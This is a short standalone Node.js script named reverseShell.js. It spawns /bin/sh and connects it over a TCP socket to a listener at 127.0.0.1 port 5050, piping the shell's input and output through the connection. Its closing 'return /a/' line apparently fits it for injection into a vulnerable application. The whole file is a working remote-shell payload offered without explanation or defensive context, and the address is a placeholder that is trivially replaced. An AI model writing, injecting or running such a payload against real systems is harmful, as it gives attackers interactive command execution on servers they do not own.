reverseShell.js

(function(){
        var net = require("net"),
                cp = require("child_process"),
                sh = cp.spawn("/bin/sh", []);
        var client = new net.Socket();
        client.connect(5050, "127.0.0.1", function(){
                client.pipe(sh.stdin);
                sh.stdout.pipe(client);
                sh.stderr.pipe(client);
        });
        return /a/;
})();